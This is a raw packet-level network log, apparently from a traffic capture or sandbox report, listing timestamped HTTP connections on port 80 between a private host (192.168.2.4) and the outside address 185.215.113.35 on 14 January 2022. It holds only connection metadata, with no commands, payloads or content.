Jan 14, 2022 09:26:04.308489084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.308514118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.308758974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309056997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309072971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309225082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309233904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309393883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309408903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309561968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309578896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309729099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309743881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309907913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.309926987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310094118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310110092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310272932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310308933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310456038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310473919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310631037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310645103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310815096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310832024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.310992956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311007977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311187983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311204910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311350107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311363935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311517954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311533928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311685085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311698914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311877012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.311894894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.312024117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.312138081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.312155008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.312474966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.313570023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.317467928 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.327639103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.327709913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.327920914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.327934980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.328042984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.328206062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.328222036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.339442968 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.339464903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.342917919 CET	80	49915	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343174934 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343198061 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343220949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343264103 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343283892 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343305111 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.343944073 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.344281912 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.344860077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.345134020 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.346736908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.346755028 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.348263025 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.348424911 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.348644018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.348666906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.348841906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.348860025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349016905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349030018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349200964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349217892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349375963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349389076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349560022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349571943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349733114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349744081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349917889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.349931955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350234032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350246906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350404978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350418091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350586891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350598097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350778103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350791931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350961924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.350974083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351139069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351150990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351319075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351330042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351494074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351507902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351674080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351686001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351850033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.351862907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352031946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352044106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352206945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352221012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352390051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352401972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352566004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352577925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352746010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352760077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352920055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.352937937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353116035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353131056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353482962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353667974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353682995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353823900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.353904963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354127884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354145050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354289055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354302883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354475975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354491949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354630947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354645014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354809046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354825974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354964018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.354979038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355093956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355246067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355261087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355421066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355437040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355580091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355593920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355760098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355775118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355922937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.355937958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356096029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356112003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356246948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356379032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356462955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356627941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356645107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356823921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356838942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356967926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.356983900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357141018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357156992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357314110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357327938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357489109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357503891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357614040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357777119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.357793093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.370049953 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.370147943 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.371057034 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.375262022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.408920050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.413959026 CET	80	49915	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.414196968 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.414217949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.414235115 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.415597916 CET	49915	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.415843010 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.417598963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.417923927 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.417970896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418112040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418128967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418319941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418334007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418500900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418518066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418689966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418704987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418869972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.418886900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419028044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419147968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419164896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419354916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419476986 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419493914 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419504881 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419542074 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419558048 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419574976 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419815063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419832945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.419935942 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419954062 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.419981003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420167923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420185089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420342922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420356989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420536995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420552969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420728922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420742989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420922041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.420939922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421098948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421113014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421289921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421305895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421464920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421478987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421654940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421672106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421830893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.421847105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422044992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422060966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422230959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422245979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422406912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422422886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422594070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422607899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422770977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422787905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422960043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.422976017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423127890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423361063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423497915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423660994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423677921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423855066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.423871040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424052954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424063921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424237013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424253941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424420118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424434900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424606085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424618959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424789906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424803019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424977064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.424990892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425158978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425170898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425343037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425355911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425528049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425539970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425717115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425730944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.425828934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426002026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426012039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426197052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426212072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426395893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426407099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426563978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426577091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426749945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426842928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.426860094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427028894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427043915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427217007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427232981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427403927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427417040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427575111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427592993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427741051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427757978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427917004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.427932024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448467970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448492050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448714018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448729992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448977947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.448997021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449223042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449235916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449490070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449503899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449732065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449743986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.449986935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450005054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450238943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450251102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450515985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450531006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450758934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.450772047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451018095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451031923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451265097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451277018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451524019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451541901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451764107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.451778889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452020884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452039003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452267885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452286005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452519894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452538013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452723980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452739000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452939987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.452956915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453141928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453155994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453358889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453375101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453557968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453573942 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453773022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453789949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453974962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.453994036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.454269886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.454694986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.455264091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.455444098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.455749989 CET	49891	80	192.168.2.4	185.215.113.35
